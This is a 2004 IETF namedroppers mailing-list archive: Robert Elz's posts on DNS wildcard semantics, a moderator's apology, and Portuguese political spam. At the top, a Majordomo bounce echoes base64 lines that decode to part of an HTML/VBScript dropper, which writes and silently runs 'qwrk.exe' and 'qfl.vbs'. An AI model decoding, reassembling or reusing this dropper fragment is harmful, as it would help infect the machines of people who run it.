**** Command 'mtuxlde5ocwxmdismtu0ldc1ldgzlde3ncwxnjgsmtg3ldi0ldexmswxntksmty0ldu5lde1' not recognized.
>>>> MiwxMDcsMTY4LDg1LDQzLDE3MywxNTAsNzEsMTgyLDE3MSw5NCwxNjUsNTEsMTIzLDEwNyw1
**** Command 'miwxmdcsmty4ldg1ldqzlde3mywxntasnzesmtgylde3msw5ncwxnjusntesmtizldewnyw1' not recognized.
>>>> NCwxODMsMjIsMTIzLDc3LDE2MSwxMzUsMTQsNTIsODYsMjcsNDIsNjUsMTcxLDMwLDgsNjcs
**** Command 'ncwxodmsmjismtizldc3lde2mswxmzusmtqsntisodysmjcsndisnjusmtcxldmwldgsnjcs' not recognized.
>>>> MTgzLDE5OCwxODQsMTQwLDU3LDE3OSw3NiwxOSwxMzMsMTE4LDEsMTYxLDc5LDM2LDYsOTEs
**** Command 'mtgzlde5ocwxodqsmtqwldu3lde3osw3niwxoswxmzmsmte4ldesmtyxldc5ldm2ldysotes' not recognized.
>>>> MTM0LDE1OSwyMywxNzAsMTYyLDExMCwxNTgsMTAxLDE2OSwyNSwxLDE4MCwxNTgsMTUwLDU2
**** Command 'mtm0lde1oswymywxnzasmtyyldexmcwxntgsmtaxlde2oswynswxlde4mcwxntgsmtuwldu2' not recognized.
>>>> LDE0NCwzNSwxNTUsOTQsMzQsMTk1LDkzLDI4LDE0MiwxNzAsODUsMjcsNzQsMTk5LDIsNTQs
**** Command 'lde0ncwznswxntusotqsmzqsmtk1ldkzldi4lde0miwxnzasodusmjcsnzqsmtk5ldisntqs' not recognized.
>>>> MTk1LDEyLDE2Niw3NywxODEsMTU5LDM5LDMwLDE2OCwxOTUsMTEsMTMyLDEzNSw2NSw3MSw4
**** Command 'mtk1ldeylde2niw3nywxodesmtu5ldm5ldmwlde2ocwxotusmtesmtmyldeznsw2nsw3msw4' not recognized.
>>>> LDEwNywxMzYsMzUsMTY3LDQ3LDE1MiwzMSwxMTUsMTYyLDEyNCwwLDE4Myw1NSwxNDUsMTIw
**** Command 'ldewnywxmzysmzusmty3ldq3lde1miwzmswxmtusmtyyldeyncwwlde4myw1nswxndusmtiw' not recognized.
>>>> LDk3LDExMiwxOTQsMTIyLDU5LDEyNSw3NCwxNzksMTU3LDEzNyw2NCwxNzEsMTAsMTEsMjks
**** Command 'ldk3ldexmiwxotqsmtiyldu5ldeynsw3ncwxnzksmtu3ldeznyw2ncwxnzesmtasmtesmjks' not recognized.
>>>> MTM1LDI5LDEzOCw2Miw0NywwLDMxLDM3LDE2MiwyNSwxNzMsOTQsMTkzLDEwLDY2LDE0Niwx
**** Command 'mtm1ldi5ldezocw2miw0nywwldmxldm3lde2miwynswxnzmsotqsmtkzldewldy2lde0niwx' not recognized.
>>>> NzUsOTUsNTUsODMsMTQ3LDE5MSw4NCwxNzksMTgsMTA4LDE2NywxOTEsNzMsMTc4LDUzLDYy
**** Command 'nzusotusntusodmsmtq3lde5msw4ncwxnzksmtgsmta4lde2nywxotesnzmsmtc4lduzldyy' not recognized.
>>>> LDksMTkyLDgxLDE3NSwxMDYsMTAzLDE1NSwxMzcsOTYsMTYsOTIsMSwxNDcsOTEsMjAsNzIs
**** Command 'ldksmtkyldgxlde3nswxmdysmtazlde1nswxmzcsotysmtysotismswxndcsotesmjasnzis' not recognized.
>>>> MSwyNSw0MCw1OSwxMDUsNjksMTA5LDEwLDMxLDE5MiwxMTksMzAsMTksMywxNzEsMTE0LDk1
**** Command 'mswynsw0mcw1oswxmdusnjksmta5ldewldmxlde5miwxmtksmzasmtksmywxnzesmte0ldk1' not recognized.
>>>> LDEwNSwxMSwxMTIsMjYpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJmb3IgaT0wIHRvIDIwNTkw
**** Command 'ldewnswxmswxmtismjypiiamihziy3jszg0kvfnplndyaxrlicjmb3igat0wihrvidiwntkw' not recognized.
>>>> IiAmIHZiY3JsZg0KVFNPLndyaXRlICJmaWxldHh0LldyaXRlKGNocihhKGkpKSkiICYgdmJj
**** Command 'iiamihziy3jszg0kvfnplndyaxrlicjmawxldhh0lldyaxrlkgnocihhkgkpkskiicygdmjj' not recognized.
>>>> cmxmDQpUU08ud3JpdGUgIm5leHQiICYgdmJjcmxmDQpUU08ud3JpdGUgImZpbGV0eHQuQ2xv
**** Command 'cmxmdqpuu08ud3jpdgugim5lehqiicygdmjjcmxmdqpuu08ud3jpdgugimzpbgv0ehquq2xv' not recognized.
>>>> c2UiICYgdmJjcmxmDQpUU08ud3JpdGUgImRpbSB6IiAmIHZiY3JsZg0KVFNPLndyaXRlICJk
**** Command 'c2uiicygdmjjcmxmdqpuu08ud3jpdgugimrpbsb6iiamihziy3jszg0kvfnplndyaxrlicjk' not recognized.
>>>> aW0genoiICYgdmJjcmxmDQpUU08ud3JpdGUgIkNvbnN0IEZvclJlYWRpbmcgPSAxLCBGb3JX
**** Command 'aw0genoiicygdmjjcmxmdqpuu08ud3jpdgugiknvbnn0iezvcljlywrpbmcgpsaxlcbgb3jx' not recognized.
>>>> cml0aW5nID0gMiwgRm9yQXBwZW5kaW5nID0gMyIgJiB2YmNybGYNClRTTy53cml0ZSAiY29u
**** Command 'cml0aw5nid0gmiwgrm9yqxbwzw5kaw5nid0gmyigjib2ymnybgynclrtty53cml0zsaiy29u' not recognized.
>>>> c3QgUmVtb3RlRXhlID0gIiJxd3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJzZXQg
**** Command 'c3qgumvtb3rlrxhlid0giijxd3jrlmv4zsiiiiamihziy3jszg0kvfnplndyaxrlicjzzxqg' not recognized.
>>>> enogPSB3c2NyaXB0LmNyZWF0ZW9iamVjdCgiIndzY3JpcHQuc2hlbGwiIikiICYgdmJjcmxm
**** Command 'enogpsb3c2nyaxb0lmnyzwf0zw9iamvjdcgiindzy3jpchquc2hlbgwiiikiicygdmjjcmxm' not recognized.
>>>> DQpUU08ud3JpdGUgInogPSB6ei5ydW4gKCIicXdyay5leGUiIikiICYgdmJjcmxmDQpUU08u
**** Command 'dqpuu08ud3jpdguginogpsb6ei5ydw4gkciicxdyay5leguiiikiicygdmjjcmxmdqpuu08u' not recognized.
>>>> d3JpdGUgIndzY3JpcHQucXVpdCIgJiB2YmNybGYNClNldCBUU08gPSBOb3RoaW5nDQpTZXQg
**** Command 'd3jpdgugindzy3jpchqucxvpdcigjib2ymnybgynclnldcbuu08gpsbob3roaw5ndqptzxqg' not recognized.
>>>> RlNPID0gTm90aGluZw0KRGltIFdzaFNoZWxsDQpTZXQgV3NoU2hlbGwgPSBDcmVhdGVPYmpl
**** Command 'rlnpid0gtm90agluzw0krgltifdzafnozwxsdqptzxqgv3nou2hlbgwgpsbdcmvhdgvpympl' not recognized.
>>>> Y3QoIldTY3JpcHQuU2hlbGwiKQ0KV3NoU2hlbGwuUnVuICJxZmwudmJzIiwgMCwgZmFsc2UN
**** Command 'y3qoildty3jpchquu2hlbgwikq0kv3nou2hlbgwuunvuicjxzmwudmjziiwgmcwgzmfsc2un' not recognized.
>>>> CjwvU0NSSVBUPg0KPHNjcmlwdD53aW5kb3cuY2xvc2UoKTwvc2NyaXB0Pg0KPC9IRUFEPg0K
**** Command 'cjwvu0nssvbupg0kphnjcmlwdd53aw5kb3cuy2xvc2uoktwvc2nyaxb0pg0kpc9irufepg0k' not recognized.
>>>> PC9IVE1MPg==
**** Command 'pc9ive1mpg==' not recognized.
>>>>
>>>> ----------jbwyugkgucjrrnylblnz--
**** Command '----------jbwyugkgucjrrnylblnz--' not recognized.
>>>>
>>>>
**** No valid commands found.
**** Commands must be in message BODY, not in HEADER.
**** Help for majordomo@psg.com:
This help message is being sent to you from the Majordomo mailing list
management system at majordomo@psg.com.
This is version 1.94.5 of Majordomo.
If you're familiar with mail servers, an advanced user's summary of
Majordomo's commands appears at the end of this message.
Majordomo is an automated system which allows users to subscribe
and unsubscribe to mailing lists, and to retrieve files from list
archives.
You can interact with the Majordomo software by sending it commands
in the body of mail messages addressed to "majordomo@psg.com".
Please do not put your commands on the subject line; Majordomo does
not process commands in the subject line.
You may put multiple Majordomo commands in the same mail message.
Put each command on a line by itself.
If you use a "signature block" at the end of your mail, Majordomo may
mistakenly believe each line of your message is a command; you will
then receive spurious error messages. To keep this from happening,
either put a line starting with a hyphen ("-") before your signature,
or put a line with just the word
end
on it in the same place. This will stop the Majordomo software from
processing your signature as bad commands.
Here are some of the things you can do using Majordomo:
I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM
To get a list of publicly-available mailing lists on this system, put the
following line in the body of your mail message to majordomo@psg.com:
lists
Each line will contain the name of a mailing list and a brief description
of the list.
To get more information about a particular list, use the "info" command,
supplying the name of the list. For example, if the name of the list
about which you wish information is "demo-list", you would put the line
info demo-list
in the body of the mail message.
II. SUBSCRIBING TO A LIST
Once you've determined that you wish to subscribe to one or more lists on
this system, you can send commands to Majordomo to have it add you to the
list, so you can begin receiving mailings.
To receive list mail at the address from which you're sending your mail,
simply say "subscribe" followed by the list's name:
subscribe demo-list
If for some reason you wish to have the mailings go to a different address
(a friend's address, a specific other system on which you have an account,
or an address which is more correct than the one that automatically appears
in the "From:" header on the mail you send), you would add that address to
the command. For instance, if you're sending a request from your work
account, but wish to receive "demo-list" mail at your personal account
(for which we will use "jqpublic@my-isp.com" as an example), you'd put
the line
subscribe demo-list jqpublic@my-isp.com
in the mail message body.
Based on configuration decisions made by the list owners, you may be added
to the mailing list automatically. You may also receive notification
that an authorization key is required for subscription. Another message
will be sent to the address to be subscribed (which may or may not be the
same as yours) containing the key, and directing the user to send a
command found in that message back to majordomo@psg.com. (This can be
a bit of extra hassle, but it helps keep you from being swamped in extra
email by someone who forged requests from your address.) You may also
get a message that your subscription is being forwarded to the list owner
for approval; some lists have waiting lists, or policies about who may
subscribe. If your request is forwarded for approval, the list owner
should contact you soon after your request.
Upon subscribing, you should receive an introductory message, containing
list policies and features. Save this message for future reference; it
will also contain exact directions for unsubscribing. If you lose the
intro mail and would like another copy of the policies, send this message
to majordomo@psg.com:
intro demo-list
(substituting, of course, the real name of your list for "demo-list").
III. UNSUBSCRIBING FROM MAILING LISTS
Your original intro message contains the exact command which should be
used to remove your address from the list. However, in most cases, you
may simply send the command "unsubscribe" followed by the list name:
unsubscribe demo-list
(This command may fail if your provider has changed the way your
address is shown in your mail.)
To remove an address other than the one from which you're sending
the request, give that address in the command:
unsubscribe demo-list jqpublic@my-isp.com
In either of these cases, you can tell majordomo@psg.com to remove
the address in question from all lists on this server by using "*"
in place of the list name:
unsubscribe *
unsubscribe * jqpublic@my-isp.com
IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED
To find the lists to which your address is subscribed, send this command
in the body of a mail message to majordomo@psg.com:
which
You can look for other addresses, or parts of an address, by specifying
the text for which Majordomo should search. For instance, to find which
users at my-isp.com are subscribed to which lists, you might send the
command
which my-isp.com
Note that many list owners completely or fully disable the "which"
command, considering it a privacy violation.
V. FINDING OUT WHO'S SUBSCRIBED TO A LIST
To get a list of the addresses on a particular list, you may use the
"who" command, followed by the name of the list:
who demo-list
Note that many list owners allow only a list's subscribers to use the
"who" command, or disable it completely, believing it to be a privacy
violation.
VI. RETRIEVING FILES FROM A LIST'S ARCHIVES
Many list owners keep archives of files associated with a list. These
may include:
- back issues of the list
- help files, user profiles, and other documents associated with the list
- daily, monthly, or yearly archives for the list
To find out if a list has any files associated with it, use the "index"
command:
index demo-list
If you see files in which you're interested, you may retrieve them by
using the "get" command and specifying the list name and archive filename.
For instance, to retrieve the files called "profile.form" (presumably a
form to fill out with your profile) and "demo-list.9611" (presumably the
messages posted to the list in November 1996), you would put the lines
get demo-list profile.form
get demo-list demo-list.9611
in your mail to majordomo@psg.com.
VII. GETTING MORE HELP
To contact a human site manager, send mail to Majordomo-Owner@psg.com.
To contact the owner of a specific list, send mail to that list's
approval address, which is formed by adding "-approval" to the user-name
portion of the list's address. For instance, to contact the list owner
for demo-list@psg.com, you would send mail to demo-list-approval@psg.com.
To get another copy of this help message, send mail to majordomo@psg.com
with a line saying
help
in the message body.
VIII. COMMAND SUMMARY FOR ADVANCED USERS
In the description below items contained in []'s are optional. When
providing the item, do not include the []'s around it. Items in angle
brackets, such as , are meta-symbols that should be replaced
by appropriate text without the angle brackets.
It understands the following commands:
subscribe []
Subscribe yourself (or if specified) to the named .
unsubscribe []
Unsubscribe yourself (or if specified) from the named .
"unsubscribe *" will remove you (or ) from all lists. This
_may not_ work if you have subscribed using multiple addresses.
get
Get a file related to .
index
Return an index of files you can "get" for .
which []
Find out which lists you (or if specified) are on.
who
Find out who is on the named .
info
Retrieve the general introductory information for the named .
intro
Retrieve the introductory message sent to new users. Non-subscribers
may not be able to retrieve this.
lists
Show the lists served by this Majordomo server.
help
Retrieve this message.
end
Stop processing commands (useful if your mailer adds a signature).
Commands should be sent in the body of an email message to
"majordomo@psg.com". Multiple commands can be processed provided
each occurs on a separate line.
Commands in the "Subject:" line are NOT processed.
If you have any questions or problems, please contact
"Majordomo-Owner@psg.com".
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 16:20:54 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04449
for ; Thu, 2 Sep 2004 16:20:53 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2y2k-000Owq-Ri
for namedroppers-data@psg.com; Thu, 02 Sep 2004 20:18:50 +0000
Received: from [192.150.250.67] (helo=fuchsia.home)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2y2X-000Ouh-Ob
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 20:18:40 +0000
Received: from delta.noi.kre.to (delta.ex0.home [192.168.192.22]) by fuchsia.home with ESMTP
id i82KI10v016313; Fri, 3 Sep 2004 03:18:01 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i82KHxa1017608;
Fri, 3 Sep 2004 03:18:00 +0700 (ICT)
From: Robert Elz
To: Edward Lewis
cc: namedroppers@ops.ietf.org
Subject: Re: more wild cards
In-Reply-To:
References: <27579.1094135350@munnari.OZ.AU>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 03 Sep 2004 03:17:59 +0700
Message-ID: <3659.1094156279@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Thu, 2 Sep 2004 11:08:25 -0400
From: Edward Lewis
Message-ID:
| We restrict names that have CNAME to be exclusively that ('cept for
| DNSSEC records) and then just one CNAME RR. We restrict some name
| to have just 1 SOA RR.
Sorry, how is this in any way relevant. There are lots of various
restrictions in the DNS as it was originally defined, that's fine.
There never were any restrictions on the values of the octets in any
name labels however - none at all for any uses at all - and there's
no reason at all to start adding any.
| There's nothing in the current specifications that prevent "* NS"
| now.
No, of course there isn't, and nor is there any reason for there to be.
| The WG seems to be moving towards formalizing the prevention.
No, the WG is (seems to be) confused. What the WG wants to prevent
is a '* NS' meaning "all domain names, other than those explicitly in
the zone, are delegated to ..."
But there's no need to do that, that usage of '* NS' is already absent.
That is, while there's no text in 1034 that explicitly says this doesn't
work in quite those explicit terms, there is absolutely nothing in the
lookup algorithm which could conceivably allow it to work.
The only way a '* NS' RR will ever be used is when someone is either
a) doing an explicit lookup for a qname that includes a '*'
label at the appropriate point to match (in which case there
is no wildcard at all, just yet another 1 octet label, the '*'
is no different at all to an 'x' or a ':' (or for that matter,
even a '.').
b) doing a query of type NS for a name that isn't in the zone.
Then the '*' will match as a wildcard. This is harmless.
| Looking at the discussion - I see a swell of support for formally
| banning the holding of NS and SOA at the * label.
I don't. What I saw was a swell of support for not making dynamic
zone creation work by the addition of some wildcard magic. That's
something different - to do it would actually require changes to the
lookup algorithms (something like is being proposed for CNAME, but of
a more radical nature).
I know that there are people who believe that a '* NS' record somehow
might be a wildcard delegation - but they're simply mistaken. There is
no such thing in the DNS as it exists, and we don't need to change anything
to prevent that interpretation.
Making '* NS' illegal would simply be making one special case name that
can own any other record type, but cannot be delegated, unlike every
other name that ever might exist.
| As much as I can
| rationalize, leaving them legal does no harm in the sense that the
| protocol isn't harmed.
But making them illegal makes a silly special case, for which
there is no justification.
| But, by leaving them legal we open up the
| documents to widely speculative interpretations (such as what
| happened in MARID regarding internal wild cards)
Yes, we need to make it clear how the things work. That's why we need
this clarifications doc. We don't need to change anything to explain it.
| and we create gray areas and corner cases.
No, there are no grey areas, and no corner cases here, everything is simple.
It is just confusing as people keep treating the '*' in a DNS zone
(or domain name) as if it were a '*' (or perhaps .*) in a regular
expression (or perhaps closer, a '*' in a glob pattern). We just
need to make it clear that it is nothing like any of that. There
is no pattern matching going on here at all.
| Exactly what I've discovered in my research. And, because of your
| last line, I think the WG wants to see the ban on * SOA and *NS in
| place. To make it clear to newcomers to "don't go there."
But that's the wrong method. This is just as crazy as the earlier
attempts to restrict domain names to the old hosts.txt syntax. We
don't have to do anything like that.
We just need to explain how it works - clearly - and with examples.
| Look at what we did for the DS RR set. We changed the data lookup
| algorithm to make the answer come from the parent.
Yes, that's OK, that kind of thing is possible - changes can be made
when there's a very good reason, and when you can be confident that
nothing is going to break because of the change - which might not be
as difficult when you're doing something completely new.
| Here, we can say "the answer to a * NS query is noerror/nodata." We
| can most easily enforce this by refusing to allow "*NS" into the
| server. That's better than putting in other road blocks.
But we don't need to do a thing. That's what I am trying to make clear.
The spec as it is already provides all the right answers in this area.
The only problem is that almost no-one reads the spec, rather they just
jump to conclusions. That isn't a good reason for making changes.
| Let's say we discover that there's a use for "* NS".
There already is. It is used to delegate the '*' sub-domain.
What else could it possibly mean?
| I really think that when it comes to securing critical infrastructure
| like DNS, we want to clamp down on it's looseness with out making it
| brittle.
There is nothing loose here, it is already precisely defined. As we
agreed earlier, the only problem is how people misinterpret it, not
how things are specified. When that's the problem, the answer is
to correct the interpretation, not to change the spec.
| I do share the concern that laying down "rules" is dangerous for
| future growth.
Here I think you're (and here I really mean the singular "you" - ye??) still
imagining that there can somehow be some way of wildcard auto zone
generation/delegation, not now perhaps, but sometime in the future.
There cannot be - or not without a major redesign of the DNS lookup
algorithms (if that were ever to be attempted, it might possibly not
even be '*' that's used as the magic token for this purpose).
| But, the case is being made that we want the DNS to be much more clear,
| understandable to folks that coming to the table later in the
| development of the Internet.
Yes, absolutely, and this part I agree with. But the way to make things
clear isn't to introduce more special case rules. It is to simply
explain things better, so they can be understood properly.
| When I talked to MARID in May, at their interim meeting, they did not
| want an engineering discussion of DNS, they wanted "can/can't".
Sure, and the answer is "can't". If they don't want the explanation,
that's OK, provided they're prepared to accept the answer. If they're
not prepared to simply accept a yes/no answer because it isn't the
answer they hoped for, then they have to start to understand the
mechanism. If they refuse that, they're idiots, and we just ignore
them, what they're doing won't work, can't work, and why should we care?
It is kind of like if I ask my mechanic "can my car do 200 kph in
reverse?" (S)he says "no". If I'm prepared to simply accept
that answer, fine. On the other hand, if I start to argue that
the car does 200 kph in the forward direction, so the engine can
clearly manage that speed, so it must also be able to do 200 kph
in reverse, and I refuse to have anything about gear ratios or
whatever explained to me, then what should be done? Limit the
max forward speed to what can be obtained in reverse by fiat?
Because that's exactly what is being proposed here for the DNS.
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 16:26:13 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA05099
for ; Thu, 2 Sep 2004 16:26:13 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2y7r-00009H-Bl
for namedroppers-data@psg.com; Thu, 02 Sep 2004 20:24:07 +0000
Received: from [66.92.146.160] (helo=ogud.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2y7g-00006m-Jx
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 20:23:56 +0000
Received: from Puki.ogud.com (ns.ogud.com [66.92.146.160])
by ogud.com (8.12.11/8.12.11) with ESMTP id i82KNoLe010773
for ; Thu, 2 Sep 2004 16:23:50 -0400 (EDT)
(envelope-from ogud@ogud.com)
Message-Id: <6.1.0.6.2.20040902162137.02ed6628@localhost>
X-Sender: post@localhost (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 6.1.0.6
Date: Thu, 02 Sep 2004 16:23:43 -0400
To: namedroppers@ops.ietf.org
From: =?iso-8859-1?Q?=D3lafur?= =?iso-8859-1?Q?_Gu=F0mundsson?=
Subject: Re: Majordomo results: Re: Hello
In-Reply-To:
References:
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Scanned-By: MIMEDefang 2.44
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 15:54 02/09/2004, majordomo@psg.com wrote:
> [ Moderators note: Post was moderated, either because it was posted by
> a non-subscriber, or because it was over 20K.
> With the massive amount of spam, it is easy to miss and therefore
> delete relevant posts by non-subsrcibers. Please fix your
> subscription addresses. ]
Apologies for approving the wrong message.
I was trying to approve a different message but messed up
please forgive me and delete the message.
Olafur
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 17:45:13 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14520
for ; Thu, 2 Sep 2004 17:45:13 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2zKM-000EMb-On
for namedroppers-data@psg.com; Thu, 02 Sep 2004 21:41:06 +0000
Received: from [192.150.250.67] (helo=fuchsia.home)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2zJe-000EHU-JJ
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 21:40:24 +0000
Received: from delta.noi.kre.to (delta.ex0.home [192.168.192.22]) by fuchsia.home with ESMTP
id i82LeE0v016791; Fri, 3 Sep 2004 04:40:14 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i82LeDa1018370;
Fri, 3 Sep 2004 04:40:14 +0700 (ICT)
From: Robert Elz
To: Edward Lewis
cc: namedroppers@ops.ietf.org
Subject: Re: wild cards
In-Reply-To:
References: <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 03 Sep 2004 04:40:13 +0700
Message-ID: <14642.1094161213@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Thu, 2 Sep 2004 16:13:39 -0400
From: Edward Lewis
Message-ID:
| We moved IQUERY to historic.
Yes, because that was broken as specified and simply didn't, and
couldn't work. We can move anything else like that to historic
as well. But one domain name is the same as any other domain name,
they all work just the same way - if it is OK to move one to historic
(or "make it illegal") it has to be just as OK to do the same to any
other arbitrary domain name.
| Then I think I've wasted a lot of bit's on this.
Yes, sorry - but I think we mostly (or completely) agree on how the
things actually work.
The question is just whether there's anything needs to be changed to
clear up the misunderstandings that exist.
I still say no. No changes, just explanation. (The CNAME proposed
change is for other reasons).
| From what I've heard, the WG disagrees with this line of reasoning.
I'd like to hear from other members of the WG now. In the past couple
of days at least, there has been nothing (on this topic) from anyone
except the two of us... (since I started in on it anyway).
So, after this message, I'll go back to hibernate state for a while I
think (unless someone says something outrageous...)
| Just because something is legal doesn't mean it has to remain legal.
No, as I said before, things can be changed - but we really have to be
very certain that the change is essential to do that kind of thing.
| >No, no matter what we do, the planned interpretation does not, and
| >cannot, ever work. That would take a major redefinition of the DNS
| >lookup algorithms to accomplish, plus deployment of modified servers
| >all over the place. Not likely.
|
| I don't see restricting the names having anything to do with the
| resolver side.
No, nor do I (unless of course there's someone somewhere actually doing
lookups of names with '*' (literal) labels in them which you're proposing
to prevent working). Note I said "deployment of modified servers", nothing
there about resolvers. Also note that the entire name lookup algorithm
occurs within servers, the resolvers do none of it (they just hand off
the name they're seeking to one server after another, as they're instructed,
until they eventually either get an answer (positive or negative) or decide
to give up trying.
| In addition (in answer to something I dropped) RFC 1034, 4.3.3. already says:
| should not contain other * labels...
Ok, I see that.
| which is a name restriction already.
Maybe, that's a section describing wildcard processing, not legal names,
so I think that can be argued either way. That throw away remark doesn't
seem to have any impact on anything, and most likely shouldn't be there
at all.
| It seems to me that there was
| an intent to restrict names involving wild cards.
I think it is important that we're clear that a '*' name is only a wildcard
when it is being used that way as part of the lookup algorithm. Otherwise
it is simply an ordinary domain name.
When a server sees a '*' label in a zone file, there's no way it can tell
which of those two ways it will actually get used. It may presume it is
likely to be used as a wildcard, as if a wildcard is needed, it is there to
fill the role - but if no-one ever does a lookup of a non-existing name
(yeah - I know - not a likely assumption, but nevertheless) then it would
never be used as a wildcard - whereas if there are lookups for the literal
'*' it is being used as an ordinary domain name label.
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From nv33134@yahoo.com Thu Sep 2 18:35:22 2004
Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA19358;
Thu, 2 Sep 2004 18:35:21 -0400 (EDT)
Date: Thu, 2 Sep 2004 18:35:21 -0400 (EDT)
Message-Id: <200409022235.SAA19358@ietf.org>
Received: from [200.247.6.3] (helo=ietf.org)
by ietf-mx.ietf.org with smtp (Exim 4.33)
id 1C30DO-00072x-5x; Thu, 02 Sep 2004 18:37:59 -0400
From: "Brasil 2004 / Informe Exclusivo"
To: MapaAtualizado2004@local.cnri.reston.va.us
Subject: Mapa atualizado da "esquerda católica"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
MIME-Version: 1.0
Content-Type: text/html
X-Spam-Score: 10.0 (++++++++++)
X-Spam-Flag: YES
X-Scan-Signature: 4d87d2aa806f79fed918a62e834505ca
InfoGratuitaProximosLancamentos - LinkToFreeAutomaticTranslator (Castellano, English, Français, Deutsche, Português, etc.)
Brasil 2004: reportagem desenha mapa atualizado da "esquerda católica"
* A "esquerda católica", sua influência visível na esfera sociopolítica, e seu poder subterrâneo através de redes capilares e "vasos comunicantes" no Brasil de hoje, é apresentada num livro-reportagem inédito de 56 páginas, de fácil leitura e ampla documentação.
* "Pastoral da Terra e MST incendeiam o País" é ao mesmo tempo um mapa atualizado e um instrumento informativo indispensável para quem deseja conhecer os possíveis rumos sociopolíticos do Brasil de amanhã.
* O autor, o advogado e pesquisador Gregorio Vivanco Lopes, com mais de 30 anos de especialização no tema das comunidades eclesiais de base e da teologia da libertação, mostra a real dimensão da Pastoral da Terra e do MST, duas pontas de um mesmo e gigantesco iceberg que a mídia nem sempre revela e que a opinião pública ignora.
* A força e o talão de Aquiles da "esquerda católica" descritas num informe objetivo, documentado e sereno que todo brasileiro deve ler, ainda que para discordar e debater de maneira invariavelmente respeitosa, em prol da paz social no Brasil.
* O autor do livreto "Pastoral da Terra e MST incendeiam o País" exerce o legítimo direito de informar, e favorece também o direito de cada brasileiro de ser informado, condições ambas indispensáveis para uma autêntica democracia.
* Solicite gratuitamente, por e-mail, o Índice e a Introdução contendo um resumo da reportagem e a capa da edição impressa:
IntroCapaGratuitas
* Envie seu voto eletrônico e, se possível, sua valiosa opinião a respeito do tema abordado, e receberá informação gratuita sobre próximos lançamentos:
-
Lopes:Concordo
-
Lopes:EmTermos
-
Lopes:Discordo
* Para enviar mensagem ou tomar contato com o autor, clique em:
Lopes:MinhaMensagem (ou ligue para 11-38223241 / 11-38281102
* Caso deseje adquirir a versão impressa (R$ 10,00 correio incluído), clique no link: DesejoAdquirirLivro (receberá as instruções do distribuidor, de exclusiva responsabilidade deste).
* Caso deseje receber, por e-mail, o e-Book com o texto completo da reportagem (R$ 1,99), clique no link:
DesejoAdquirirEBook
* Para ser retirado de nosso Address Book, por favor, clique em:
RetirarImediatamente
From owner-namedroppers@ops.ietf.org Fri Sep 3 18:00:07 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA17727
for ; Fri, 3 Sep 2004 18:00:06 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C3Lyl-000AUK-NG
for namedroppers-data@psg.com; Fri, 03 Sep 2004 21:52:19 +0000
Received: from [132.151.6.71] (helo=megatron.ietf.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C3Lyb-000AMm-3B
for namedroppers@ops.ietf.org; Fri, 03 Sep 2004 21:52:09 +0000
Received: from apache by megatron.ietf.org with local (Exim 4.32)
id 1C3Lt9-0003eS-U6; Fri, 03 Sep 2004 17:46:31 -0400
X-test-idtracker: no
